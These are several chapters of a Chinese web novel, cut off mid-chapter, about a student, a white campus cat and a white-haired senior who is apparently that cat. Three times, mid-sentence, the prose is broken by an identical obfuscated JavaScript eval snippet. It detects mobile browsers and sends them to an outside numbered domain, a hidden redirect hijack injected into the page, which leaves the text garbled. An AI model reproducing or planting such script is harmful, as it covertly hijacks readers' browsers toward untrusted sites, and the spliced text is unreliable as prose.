棠梨一筷子从火锅里捞出颗虾球塞旁边人嘴里堵住:“吃都堵不上你的嘴!” “嗷嗷嗷嗷姐!姐!烫!!!” 一桌人似乎早已习惯这对姐弟的相处模式,笑着打趣,虞江临则冷静低头用纸巾擦拭方才手抖倒出的果汁。 他确定自己没有听错,虽说不知为何担上了“弟妹”之名,但首先要澄清的是…… “我是男生。”他这几天里不知第多少次说道。 谢金缓缓张大嘴,似乎已经忘记口腔里的烫意,而那虾球就从他嘴里啪嗒一声掉进他自己的碗里。这声响仿佛将他惊醒,令人从呆滞状态走出。 他下意识找身旁棠梨确认:“公的?不是说他们毛发长一些的都是……” “闭嘴。”棠梨已经不想再管这家伙了,她转头朝虞江临好声道,“那你先走吧,江临同学。别让对方等急了。” “好。”虞江临微笑。 ——这是不是他今天第二次听到“公”这个字眼? . 虞江临没太将聚餐中的事情放在心上,在他看来那位谢金学长大概是将他错认成什么人了。眼下自然有更重要的事情。 花坛里,没有。 楼道内,没有。 到处寻了一遍,白白圆圆的小小身影都不在,虞江临才失落回到宿舍。他想,都怪自己比平常晚了那么多才回来。 躺在床上,望着天花板发了好一会儿呆,不知什么时候便摸上手腕挂着的猫咪挂坠,忽又一顿,从床上坐起。 他记得,学长今天是不是说话有鼻音? 等虞江临带着自己寝室里屯的感冒药,飞速赶到校内最近的水果店,买好一篮子慰问水果,又飞速赶到学长所在的宿舍楼前,他对着人脸识别门锁犯了难。 虞江临当然不知道学长具体住在哪一间,但他可以把水果篮连同药给昨晚见过的那位宿管大伯,嘱咐对方转交给学长。 毕竟那么好看的一张脸,又是住了几年,肯定会有印象吧? 然而或许是这栋宿舍楼里住着的都是毕业年级的学生,留校住宿人不多,大晚上连个进出门的人影都看不见。 等了好一会儿,就在虞江临琢磨要不要转身离开时,方才还念着的大伯便推着垃圾小推车,从街对面小路走过来。 “又来找戚缘那孩子啊?”大伯和蔼笑道。 虞江临眨眨眼睛。 他好像终于意识到今日白天里的某些误会。那位负责修理空调又得了感冒的修理师傅……原来就是戚缘学长? “您好,我有件事想要麻烦您。能不能帮我把这果篮和药转交给学长?就是昨天晚上……” “哦,是门刷不开?没事,我可以帮你打开。” “我不知道学长他具体住在哪一间房。”虞江临坦诚道。 大伯朝上指了指:“就是顶楼唯一亮灯的那间房嘛。” 虞江临没想到直接能获得答案:“谢谢您!那我……可以去找他吗?” “可以啊!那孩子经常帮忙修水电,是个好小伙。”大伯竖起大拇指。 虞江临:……? 先不说这前后之间究竟有什么关联,但当虞江临缓缓想象起学长顶着那张冷冰冰的脸,面无表情修水电……咳。 学长可真是个好心人。他不知第几次感慨。 . 楼道内很静。 即便有冷白的走廊灯将每个角落照得仔仔细细,仍旧令人无端感到些许冷森。也许正是因为安静过了头,缺乏人的气息,仿佛这整栋楼内都未曾住人一样。 虞江临本人倒是没有太多感觉,他很快便来到最高层,找到那间唯一有亮灯的房间。 虞江临敲了敲门,没有回应。 他敲第二下,仍没有回应。 脚尖前昏黄灯光从门缝底下缓缓淌出,虞江临蹲下来将果篮放在地上,打算等过十几分钟再离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703512|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——没想到门很快便开了。 随着门向内拉开,狭窄的暖光顷刻间铺面翻卷而来,打在身上,驱散寂静的楼道。而这会儿距离虞江临蹲下才不过一两分钟。 苍白的人影立在眼前,迎面扑来浓重血腥味。耳边有水滴滴落的声音,像是弹着血管奏鸣,滴答,滴答。 如果有第三人在场,一定能判断出这位青年刚经历了一场残酷的厮杀。一条狰狞的伤口从脸颊一侧撕裂下来,在口罩后蜿蜒,又沿着脆弱的脖颈向下蔓延,最终汇入衣领下的肌肤。 这人差点被撕成两半,声带多半受损。 ——这是任何人都能看出来的异常事实。 虞江临眨了眨那双琥珀色泽的眼。 他看着对方遮住下半张脸的黑色口罩,看着对方此刻蓝得发黑、明显没什么精神的眼睛,以及被对方举着的手机屏幕上正对自己的一行字。 *抱歉,刚才在穿衣服* 说是衣服,但其实也就是一件素色斗篷。依稀能想象出这斗篷原本纯白的色彩,可惜如今已染上斑驳血迹,几乎成了一件血衣,足让人产生某些不妙的联想。 虞江临的注意力果然被这斗篷吸引。 ——学长现在穿的是睡袍吗?难道原本是什么也没穿?他该不会打扰了对方睡觉吧? ——不方便说话,是因为感冒加重了? 于是虞江临内心歉意更深,他站起身举起果篮:“这个是想要感谢您昨天的帮忙,还有……这个是感冒药,不知道您吃了没有,我今天白天听到您说话有鼻音。” 对面的人静静看着他。 虞江临莫名觉得此刻的氛围应该让自己感到紧张,他却只感到好奇地想往房间里看,视线又很快被对方身影挡住。 白发的学长又往手机上敲了些什么,随后举到虞江临面前。 这一次,屏幕上的内容令虞江临脑子蓦地一片空白。 *如果你亲一亲我,也许我会好得更快* . 戚缘盯着面前人,那人一双漂亮的琥珀瞳显露出分明的茫然来——除了他以外,世上大概再没有人能看出虞江临这些藏得极好的细微神情。 如他所料,虞江临没有立即做出回应。 那双深邃的蓝眼于是加重了,眼见着将便得更为幽深,凋零成午夜的色调,透露出某种诡谲而引诱的味道。 虞江临怔怔望着那宁静的黑蓝,垂在身侧的指尖轻颤,仿佛思想在动摇。 就在虞江临目光变得更加空洞,即将上前一步时,戚缘却先一步垂下眼眸。 他无声张了张嘴,自言自语。 那口型像是在说:算了。 *谢谢,晚安* 打出道谢语句,戚缘提着果篮,轻轻关上门。 寂静的楼道内,主动把自己送上门来的小学弟独自站了片刻。 好一会儿,虞江临终于回过神来。 刚才发生了什么? 哦,他给学长送了果篮和药,学长收下并对他道了谢。 希望学长的感冒快点好起来。 临走时虞江临关切地想,又莫名舔了舔唇。 5. 课堂 今天是正式上课第一日。 虞江临站在候车亭,坐上了今早第一班校车。 校车是敞开式八人座。 虞江临坐到司机旁边的位置,礼貌地说了句早上好,刚与司机对上视线,便愣了愣。 原来司机先生便是昨晚帮他开门的那位宿管大伯。 对方黑发白了半头,穿着件白纹黑底老式制服,戴着顶扁扁的白色平顶帽。眼窝很深,眼睛一侧有条淡淡的疤痕,应当是很久以前留下的。五官组合起来,便显得有些凶狠。 不过虞江临知道,这是位会关心学生的好大伯。 司机大伯显然也认出了他,善意打趣:“你也早上好,昨天那么晚来找戚缘,今天就起这么早啊。” “今天毕竟是第一天上课。”虞江临笑了笑,又关切问,“您今天见过戚缘学长了吗?他看起来病好点了吗?” “他啊,总是睡到日上三竿。我这校车开了一圈,他估计都还在梦周公呢。不过你也不用太担心,他这孩子身体硬朗得很,一点儿小感冒很快就会好的。” “……您今天如果遇到戚缘学长了,能不能替我留意一下他的状况?晚上我还会坐校车回宿舍的,那时候您能不能告诉我他的状况?” “好,我会替你好好看看他的。”大伯了然,他可见多了这个年纪的小情侣,那晚也就是认错了性别,其余和他猜想的大差不差嘛。 他于是欣慰又问:“同学你姓什么?” “谢谢您,我姓虞。”虞江临也显然并未察觉对方的某些误解,只觉得这位长辈真好。 车上还很空旷,司机大伯等在亭内,没有立即开走。 虞江临看见驾驶座旁放有一置物篮,篮内最上面放了盒小鱼干。盒子开了封,已消耗一半,“猫咪专享”几个大字印在显眼位置,右下角则标有白色产品标识:猫猫社。 虞江临想起来,自己前天晚上在超市买的小鱼干,似乎也有“猫猫社”的标签。短短一会儿,他想到许多。 ——看来司机大伯也很喜欢喂猫咪。 ——“猫猫社”是一个专门卖猫咪零食的牌子吗? 过了一分钟,车上乘客多了两三位。 确认没有学生再要上来,校车便启动,向着下一站行驶。 虞江临翻开入学时统一发放的手机,他这时终于注意到主界面上一个显眼的气泡图标,下面写着“校园论坛”几个字。 点开进入,纷乱的界面令虞江临目不暇接。 他像个老古董一般,懵懂浏览起来。 校车行驶期间,忽而一个稳健的拐弯,瓢泼的阳光便自上而下从右侧浇灌下来。抖然被温暖席卷,整个车前座都仿佛被淡奶油融化,白金一片。 虞江临下意识闭了眼,再睁眼时视线已从手机屏幕抬到了车外。 那是一片柔和缀着杂花的浅草地,飘荡的草尾末过脚踝。一团团毛色或深或浅的小猫蜷在软草间。 乳白色不规则石砖,修剪圆润还缀着水珠的灌木丛,三三两两的学生蹲下来与猫咪嬉戏。 虞江临看得入了神。 他的目光不知不觉柔和下来。 却就在此刻,一幕并不和谐的画面闯入其中。 几个学生垂着脑袋从另一条路走来,他们两只手腕都戴上了某种皮质手环,手环上连接着一根粗绳——完全就是外出遛狗用的那种绳子——几根绳向前牵着,被收到最面前一名带队的学生手里。 领头的那人制服穿得整整齐齐,气质上来看应当是位学长。对方神情严肃,仿佛捉拿着什么罪犯,又仿佛正在遛狗……不,应当说是溜人类……不,不,这联想太过冒犯了。 虞江临稍有些心虚地移开视线,于是才发现这队伍后面还有几只猫咪跟着。那些猫咪们也一个个严肃极了,抬头挺胸走得极有气势,一双双眼睛把学生们盯牢,似是害怕他们跑了…… “这是在做什么?”虞江临不自觉出声。 “估计是犯了什么事,被学生会抓了个正着。”没想到旁边的司机大伯竟然很快回答,似乎这种事情在校园内很是常见。 “犯事……”虞江临窥见那些学生鼻青脸肿的样子,思索了下,又好奇道,“是指聚众斗殴么?” “差不多吧……”司机含糊嘟哝着,倒是没再继续往下说。 等虞江临再将注意力转回到屏幕上,便正好看见一个新帖子冒出。 那是一名新生发的帖子,称在东海区食堂遇见了只相当漂亮的白色长毛猫,接着楼主像是努力用尽毕生所学,来描述那只猫有多么好看。 虞江临心中漏了一拍,他终于想起来那只曾与他有过“一夜情”的小猫咪,并怀疑这位就是本尊,便继续往下翻看。 很快有跟帖人问:“图呢?图呢?没图说个什么?” 跟贴质疑的大多为新生,唯独有那么几个像是老油条的跟帖人接龙发着看戏的表情包。 “白猫在看着你.jpg” “这么仙的猫,脾气一定很好吧.jpg” 在被加盖了几十层后,楼主才重新出现:“不怪我啊!那只猫好凶!我一靠近正要拍照,它就朝我哈气,作势要挠我,然后跑得贼快!(大哭)” 虞江临了然。 ——看来那不是他要找的亲人好猫猫了。 . 到站后,一车年轻人步伐轻快地入了教学楼,来到同一教室坐下。 这门课的教室不大,大约能容纳下三十来人,于是第一排的某位“不速之客”相当显眼。 那是一只……狸花猫。 柔软的身子摊开在桌面上,端的是气定神闲,哪怕突然有一波人类进入房间也面色不改。 它就这么大大咧咧地卧在桌面上,时不时舔一舔自己的爪子。 教室内已坐了些人,但没有人对这只猫有什么特别的注意。 虞江临站在门口,看见同行人都到后面落了座,同样无人在意这只格外显眼的狸花。 他歪了歪脑袋,仅思考了一两秒,便毫不迟疑地坐在了这位“猫猫学姐”的后座。不知为什么,他潜意识里似乎先入为主地认为,这是位“学姐”而非“学长”。虞江临没有细想。 也许是为了避开“学姐”的气场,学生们都让出了前两排,这让虞江临独自一人享受了一整排的空荡。 这位蹭课的学姐虽然躺姿慵懒,但与虞江临先前见过的那只橘猫相比,明显劲瘦许多,看起来有做好猫咪身材管理。 ——当然,都比不上他最可爱的小白猫。 虞江临正想凑近去瞧,恰好此时预备铃响起,一名穿着学生制服的人从门外走进来。对方腰间夹着办公包,很是自然地便站上讲台,自称是学生会学习部的成员,将作为学生助理给他们上第一堂课。 几乎就在这位学生助理进门的前一刻,狸花学姐便似乎很有“偶像包袱”地蹲坐起身。 它高扬着下巴,审视一般听着台上那位学生讲课,身后尾巴一晃一晃,时不时再点点头,抖抖耳朵,仿佛真能听懂。 ……自己怎么会产生这种想法?虞江临觉得自己大约是听课听糊涂了。 这是一节大课,上午时间很快过去。 下课铃响,严肃的学生助理站在讲台上,罗列这门课的结课方式。 那狸花猫便在众目睽睽下施施然站起身,伸了个懒腰,又在众目睽睽下跳下桌子,迈着轻巧的步伐走出教室。 就在狸花学姐身影消失的后一秒,台上那位学生助理十分明显地松了口气,仿佛在为自己通过了领导抽查而庆幸。 ……虞江临觉得自己最近总产生莫名的幻觉。 . 走出教学楼,旁边便有一座食堂,及一条校内小食街。 刚结束上午课程的学生们愉快穿行其间觅食。 几辆校车停靠在小广场位置,最前面那辆尚未满员,后面的自然空着等待。虞江临眼尖地看到最后一辆车,坐在驾驶座上的是熟人大伯。 他自然而然往最后走。 方才课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703513|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂的奇遇提醒了他——那小鱼干闻着那么香,下次遇到小白猫的时候可以投喂。 离得近了,便见那看起来稳重成熟的司机大伯手中举着小巧的零食袋子。 那袋子上仍是大大的“猫咪食用”字样。 那袋子画着可可爱爱粉粉嫩嫩的猫咪爪子。 那袋子比之早上时干瘪了许多。 于是,虞江临便撞见了这样一幕—— 似乎很喜欢投喂小猫的司机大伯将零食袋子倒过来抖了抖,取出最后一根小鱼干,然后……扔进了他自己的嘴里。 大伯嚼巴嚼巴嘴里的小零食,像是恋恋不舍回味着袋子里仅剩的小鱼干。 一转头,看见车窗外一张人类学生的小脸。 大伯:“……” 虞江临:“……” 大伯:(缓缓放下零食袋) 虞江临:O.o 原来,这些小鱼干是大伯自己吃的……人可以吃猫咪零食吗? 虞江临脑海里闪过些许困惑,却奇妙地没再细想下去。 “中午好呀。”他率先问好。 “……中午好。” 虞江临:O.o 司机:“……” “您好,我是想要喂猫,可以问问这个零食在哪里买吗?”意识到对方似乎有某些不便之处,虞江临露出一个礼貌的微笑,体贴地递出话题。 . 待虞江临得到满意答案离去,又过了大约半小时,才终于轮到这辆最末端校车发车。只是到这时,饥肠辘辘排队的学生们已全数乘车离开,站台空无一人。 司机大伯捧着一包夹心小饼干,这是虞江临刚才送他的小礼物,说是答谢这几日的帮忙。 他将小饼干藏进篮子的最深处,甚至用上两层海绵压好。末了,又把零食篮子与另一只篮子调换位置。 随后,他驾驶着没有乘客的校车缓缓启动。 亮黄色的车徐徐穿梭在林中小道,弯弯绕绕,远看像是孩子们遥控的玩具。些许嫩绿的枝叶垂下,扫过它的顶,拂过明净的前窗。 窗倾倒上了大片阳光作打底,前头缓缓勾勒层叠交错的树枝的剪影。随着枝叶向后远去,这幅明暗的画卷水流般流动。 某一下,像是阳光落下黑斑,从拂过的树枝里窜出一小团阴影。阴影盖住车檐,又轻巧离去,如果不是眼力极佳,几乎是发觉不了。 车沉了一点,却也只有一丁点。 这辆不大的明黄色的车,终于迎接来中午的第一位客人。 副驾驶座位上,小小的客人百无聊赖扫着尾巴,没什么精神,似乎是犯了午困。 “你昨天没睡好?”司机大伯看着前方的路,没有转头。 要是虞江临还在这里,一定会惊奇,毕竟这车上可什么也没有,除开司机外只有一只……他相当眼熟的猫。 纯白的长毛幼猫伸出爪子,眯着眼睛挠了挠自己的下半张脸,身上的毛被风一吹显得更加蓬松。 它轻轻喵了几声,仿佛在回答方才的问题。 突然,这只白毛猫抖了抖耳朵,连爪子都停下动作。 它狐疑地嗅了嗅鼻子,一双海蓝色的大眼睛猛地瞪圆,转头望向开车的大伯。 “喵???” “对,那天晚上那个孩子,他刚才是来过这里,找我问喂猫的零食。你就偷着乐吧。”司机大伯打趣道,“对了,他问我你的感冒好了没。你什么时候还会感冒了?你小子可是从小最皮实的一个……” 说着,他侧过头去,刚想再说些什么,却见到副驾驶上已空无一猫,只剩下座位垫上几根白白的猫毛,作为小小乘客来过的证据。 “这小子哪里有什么感冒的样子……”司机大伯嘟哝着,忽然反应过来什么,忙将车靠边停靠。 他抱着小提篮,一层层掀开遮蔽物,只见原本完整的一袋子夹心饼干,变戏法般不翼而飞,取而代之的是一包随处可买的普通小鱼干。 “……臭小子,鼻子真灵。” 6. 猫猫社 虞江临所乘坐的校车,也到了终点站。 满满当当的学生们水泄般下了车。 虞江临没有顺着人流走。 他抬手逆着阳光,眯起眼睛望向十字路口的指示牌。 只见一根竖直栏杆上头,从上到下分别挂着四只猫咪形状的木牌,均是端庄坐立的姿态,惟妙惟肖。神情细节各有不同,唯有尾巴统一高高翘起,指示着四个不同的方向。 这样的木牌在校园里随处可见,如同撒在蛋糕里的细碎酸甜果肉,时不时给人以惊喜,虞江临每每看见便多开心几分。 其中一只木牌呈白色,略看像是一只简略的小白猫。那猫虽是蹲坐着,却几乎团成镂空圆形,尾巴尖用花体字写着缀有猫爪印的指示:猫猫社。 司机大伯说,校园内美味的猫零食全部都由猫猫社产出。 虞江临将这个怪可爱的名字在心里再度默念了一遍,便顺着指示牌方向而去。 穿过一片掩映在林中的人工湖,走上弯弯绕绕的木质回形桥,虞江临终于看见了此处小树林里唯一的建筑物。 这是一间咖啡馆,原木风装潢。 门前是座精心打理过的小花园,花园左手边搭了个宽阔的白色露营帐篷,帐前放了套野餐桌椅,和一小架篝火。右手边则是层次分明的各式花坛、花架。 虞江临站在院子中的石板路上,从这个角度,能透过深咖色落地玻璃窗隐隐绰绰看到馆内的座位与人影。 ……原来猫猫社是一间咖啡馆?虞江临有些意外。 他推开咖啡馆的门,清脆风铃声随之颤动。虞江临寻声抬起头,望见左上角猫咪头形状的金色铃铛。 “欢迎光……临。”屋内欢迎者的声音微妙地在末尾变了下调。 一名身穿黑白工作制服的年轻人站在吧台后,看模样与精气神应当也是学生。大概是兼职,这很正常。 不那么寻常的是,他认得这张脸,尤其是那橘黄色的头发。 “谢金学长?”虞江临记得这是那晚聚餐时的学长。 “嗯哼。”即便穿着工作服,谢金学长看起来仍旧不着调,一头黄毛乱七八糟。 对方笑得很是灿烂:“江临同学要来一杯咖啡吗?” . 虞江临在一处靠窗的小沙发上入座。 圆形小矮桌上放有一只白色千纸鹤,足有两只巴掌那么大。 折叠的纸面上似乎印有字。 虞江临好奇探身望去,刚伸手触碰,便见千纸鹤兀自散倒,流水般摊开,平铺到桌面上。 纸张光滑如初,一点折痕也没有。 虞江临拿起纸张,发现这竟是张菜单。 可点单品很是丰富,分别是不同款式的猫猫零食,猫猫零食,猫猫零食……和猫猫零食。 虞江临默然,又翻看菜单另一面。 背面是豪华套餐,分别由不同的猫猫零食搭配不同的——猫猫玩具。 “……”虞江临又把这菜单细细看了个底朝天,确认没有猫零食和猫玩具之外的任何存在。明晃晃一家咖啡店,竟连咖啡也没有。 这么一看,咖啡倒是个菜单上点不出的隐藏品了。 就在虞江临认真挑选起猫玩具时,那位谢金学长终于端着盘子走来。 陶瓷咖啡杯矮矮胖胖,手柄处同样别出心裁地做成猫尾形状。 “我们这可是有好长一段时间没做过咖啡了……喏,这是账单。”谢金将一张白纸条放到桌上。 虞江临捡起账单看。 虞江临看到一串零。 虞江临……不动声色地开始瞳孔地震。 “别担心,算是送你的……”谢金笑眯眯又说。 虞江临刚松了口气,就听对方又慢慢补充道:“这账从店长那扣。” 虞江临:……? “这样不好吧……”虞江临又把视线放到那串触目惊心的零上。 “没事儿,我们小气又刻薄的‘店长大人’估计很乐意替你付账。”这话说得可真是阴阳怪气极了。 虞江临眨了眨眼,他隐隐约约意识到那位店长先生也许认识他。但还未继续深想,便听对方很快便变了话题。 “哎,不提他了,倒是江临同学来这做什么?恐怕不是来单纯喝咖啡的吧?是什么人推荐你来的么?”这话又是似乎意有所指。 虞江临点点头:“有位校车师傅推荐我来的,他说这里卖的猫零食很不错。我想要买一点喂猫,请问您有什么推荐吗?” 橘毛学长先是愣了下,随之笑得更灿烂。 他一把将桌上菜单拿起,开启专业推销模式:“有的有的。不是我吹,学弟,我们店里卖的零食可是世上最好的。那嚼劲,那味道,啧,根本没有哪只猫能够抵抗……” 说着便在菜单上给虞江临旋风般点来点去介绍,到了后来甚至信口开河起菜单上没有的东西。 “我们店里现在还有春季限时大礼包,你今天算是来对了!只要买了这个、这个、这个,还有这个,就能附赠一把限量款逗猫棒……” 虞江临活了这么些年可从没见过这种推销套路,他被册子上的图案弄得眼花缭乱,根本招架不住,只能跟着点了点头。 “那我都要了……多少钱?” 谢金笑得很是开心:“不要钱。” “……又是划到那位店长账上?” “江临同学可真聪明。” 虞江临轻轻叹了口气。 像是纵容后辈恶作剧般,他眉眼间满是无奈:“我都没见过那位店长,学长您这样……” “不,你见过的。”谢金轻声低语。 这张总嘻嘻哈哈的脸仍挂着笑,眼睛却没再跟着一起笑,瞳仁黑漆漆。这令虞江临总有种奇怪的感觉,仿佛这位初见就一副大大咧咧样子的学长,私底下并没有这么阳光。 对方向前俯身,也就是朝着虞江临的方向探过去脑袋,眼底染上些不宜察觉的焦急,与一丝压得极深的恐惧。仿佛是要趁着这个绝佳的机会,背着某个可怖的家伙,向外说出某些不可高声语的隐秘。 那张嘴开合:“求您……” 话刚吐出来几个字,眼前的黄毛学长猛地弯下腰剧烈咳嗽起来,对方捂着下半张脸,整张面孔显示出某种痛苦,如同犯上忌挨了刑。 这位谢金学长本就长得瘦瘦高高,如今脊背几乎弓成了一只虾。他浑身颤抖,撑着桌面似乎将要把桌子也给掀翻,神情不似作假。 “学长您还好……” 虞江临刚要出声,就见到一只手凭空出现,轻轻搭在这位谢金学长的肩头。那手掌漫不经心地拍了两下,空气中传来某道更为轻飘的声音。 “工作的时候只需做好分内事,不要打扰客人休息。” 虞江临觉得那声音有些熟悉,但似乎比他熟知的声音多了份温和。这种温和并未让人放松,反而周围的气氛都跟着紧张了起来。 他这时才发觉,就在他们二人身边,不知什么时候多站了一个人,更不知把他们之间的话听了多少。 那人肤色白净,甚至苍白得显露出几分病态。只穿着身简单的黑色连帽衫与浅色牛仔裤,明明一副年轻人打扮,却不见多少青春气息。 也许是因为那头罕见的白发,又也许是因为那双深蓝的眼,这人浑身上下透露出冰冷疏离的味道。 对方长得不算矮——至少虞江临心知比自己要高上不少——但还是比不过“电线杆子”身材的谢金学长。可如今对方只是一手插兜,另一只手随意拍了拍谢金学长的肩膀,便显示出某种绝对的威慑力。 那拍动的幅度真的很轻,旁人视角看来仿佛只是隔着空气,轻轻掸了掸衣领的灰尘。虞江临却看见,谢金学长在一瞬间绷紧了下巴,瞳孔中的恐惧骤然溢满,仿佛拍他的是什么鬼魅。 但随着那几下轻拍,谢金学长脸上的痛苦确实消失了,可谓是药到病除,立竿见影。 ——但这一切都不重要。 虞江临仍旧坐在小沙发上,望着那新来的人影怔怔出神。 白色的发,蓝色的眼,一如既往戴着口罩——虽然不知为什么,今天的口罩并非黑色,而是改戴上白色——这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703514|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚缘学长还能是谁? 正在虞江临开口要叫出声时,那双蓝眼心有灵犀般地锁定过来,与他对视。美丽,深邃,神秘,凋零,近乎墨黑…… 虞江临觉得自己沉入了海底,直至一道声音将他唤醒:“你还好吗?” 虞江临眨眨眼睛,看见面前有两人。 一人是他所熟悉的谢金学长,另一人是位陌生青年,从刚才二人的对话来看,来者似乎是这里的店长。 “抱歉,刚才走神了。”他轻轻晃了晃脑袋,露出一个笑。 好意关心的店长先生于是没什么表情地点点头,又朝侧边瞥了眼。 谢金学长不知何时已恢复了那欢快的样子,接收到视线,便摆了摆手,显得十分有活力:“好嘞,店长。那接下来就由您来招待这位客人啦,我去仓库清点存货。” 虞江临望着这位黄毛学长离去的背影,禁不住有些感慨:看来谢金学长好不容易争取来的清醒时刻,也再度被扭曲。 咦?他为什么会这么想? ……他刚才脑海里有在想些什么吗? 就在虞江临茫然之际,这位白发的店长坐到了他的对面,视线落到那张菜单上。 “……猫零食?是给校内的猫买的么?”对方似乎只是随口一问。 “嗯,我最近遇到一只非常可爱的小猫,想要买些零食喂它。”虞江临说完,发觉那双冷暗的蓝眼似乎亮了些许。 “你很喜欢那只猫?” “嗯,我原本还打算挑个逗猫棒……” 话音刚落,便见这位白发店长沉默站起身,一声不吭地朝柜台走去。 正当虞江临怀疑自己说错什么话时,对方便提着一篮子东西过来,重新坐下。 那篮子搁在桌上,虞江临一扫便看清是什么。 只见满满当当的小篮子里,盛满了各式各样的逗猫棒,逗猫棒,和逗猫棒。 “随便挑。”店长先生说。 虞江临:“……” 店长倒还挺热心。他想。 虞江临不是没有见过逗猫棒,他也曾……隐隐约约有点印象,好像在某些时段里,他常常用自制的逗猫棒逗弄猫咪们。如今这些逗猫棒倒是新奇了不少,全是他没见过的样式。 他很是感兴趣地埋头在小篮子里挑捡起来。其中一根棒子顶着颗软弹的章鱼脑袋,一甩一甩,有趣极了。虞江临握着这根章鱼逗猫棒,手腕下意识抖了抖,棉花章鱼便跟着晃了…… ……晃不动了。 虞江临歪歪脑袋,他看见自己的小章鱼被一只修长的手扣住。 顺着这冷白色的手,他慢吞吞抬起头,见坐于对面的店长先生正心无旁骛紧紧盯着他……手中的棉花章鱼。 虞江临试探性地拽了拽手中的木棒,没想到对面那只手也用同样的力道往回扯了扯。那双漠然的蓝眼中,竟透出几分……兴奋? “这只章鱼棒子不卖么……?”虞江临困惑地问。 仿佛是才反应过来发生了什么,那只手先是呆住,而后缓缓松开了,又若无其事收了回去,很是心虚地消失在虞江临的视野里。 店长先生的神情仍是一副清清白白的样子,嘴里也是语气淡淡:“没什么,你继续选。” 虞江临点点头,他没将这件事放在心上。 ——虞江临似乎总是这样,毕竟如果什么事都要放在心上的话,这么多年来他的心可是要堆成小山啦。 逗猫棒,逗猫棒。那么可爱的小猫咪,应该会喜欢逗猫棒……吧? 虞江临终于想到一个关键问题,他蹙着眉开口:“像它那样傲娇又好面子的小猫咪,大概不喜欢被人拿逗猫棒逗弄……” 他是如此沉思着,因而没看见那位白毛店长几乎瞪圆了眼睛,不可思议地盯着他看。那神情,仿佛即将到手的小鱼干长翅膀飞跑了。 “算了,我还是只买基础款猫零食好了,至于逗猫棒就不要了。”虞江临微笑抬起眼。 也许是错觉,直至虞江临买好一大堆猫咪零食离去,这位店长先生周身都始终环绕着某种失落的气息。 7. 猫德评选 当虞江临再次见到那毛茸茸的小猫咪,他惊喜发觉对方已恢复初遇时的精神气,又是一只活力满满的小猫了。 接下来几日里,无论早出晚归,晨起暮回,他可可爱爱的小猫都会趴在寂静的楼道内,装出一副乘凉的不经意样子,准时迎接他的到来。 有时,小猫会蹲在楼梯扶手上,垂下一条大尾巴,挠着人类的脸颊与脖颈。虞江临时常还未见猫,便先被这“猫毛掸子”偷袭。 ——虞江临没有证据,可他总怀疑这小坏猫知道他怕痒。 有时,小猫又会仰面躺在最下的台阶前,把自己流淌成一张软乎乎的猫饼、一只四脚摊开的方形小猫脚垫,总之整个脆弱的肚皮都显露在人类面前。 虞江临最喜欢小猫这副样子,这让他觉得自己得到了小猫全盘的信任。被勾引的人类会怀着愉悦的心情蹲下来,两手在温暖柔软的猫肚子上揉来揉去。 猫从来不会挣扎,只是别过脸不看人类,偶尔再用大尾巴挠挠人类的手腕,仿佛在说:这是你自己主动要摸的,不关猫的事。 “真是一只可爱的小猫咪。”虞江临总会说。 随后,被赞美的小猫则会漫不经心地轻晃尾巴尖。 这天,人类的赞美却产生了些许变化:“他们都说你很凶……太过分了,你明明只是一只可爱的小猫而已。” ——小猫晃晃悠悠的尾巴尖停下了。 它望见人类竟没有看他,而是全神贯注盯着手机瞧,于是慢吞吞从地面上翻身起来,前爪搭在人类小腿上,一张小脸更是朝着人类大腿拱。 可惜,如它这般的小短腿,很难一跃跳上人类膝头。 虞江临正坐在楼梯台阶上。他方才一手玩着手机,一手敷衍地撸猫,这会儿发现小猫开始急切地扒拉自己,于是感到有趣地笑了笑。 他将腿上的帆布包拿开放置一边,又把小猫抱到自己的腿中央:“怎么了?你也想要看手机吗?” 虞江临不觉得一只小猫能看懂什么,但他向来是个溺爱孩子的家长。人类将手机屏幕向下移了移,令小猫和他都能看见。 或许是被这发光屏幕所吸引,小猫果然乖乖盯着手机看。 视线越过小猫圆圆的脑袋顶,虞江临继续翻看刚才的论坛界面。 只见一则标题为“猫德评选”的帖子醒目而张扬。 虞江临哄孩子一般,重新翻到帖子首楼,在一张张猫猫图片中指出其中之一:“看,他们说这个是你。” 白毛小猫沉默地盯着那张图看。 ——那是一只猫么? ——嗯,有三分之一的概率是。剩下还有三分之二的概率,分别可以是一颗飞扬的高速羽毛球,或者一片被揉巴揉巴丢到空中的狂乱塑料袋。 完全看不出猫样的诡异白色模糊物体,定格于高空中,身下是一面围墙。显而易见,这是张静止图,但任何人仿佛都能从中想象,这个白色物体是如何以肉眼难以捕捉的速度,咻——地越过比人还高的围墙。 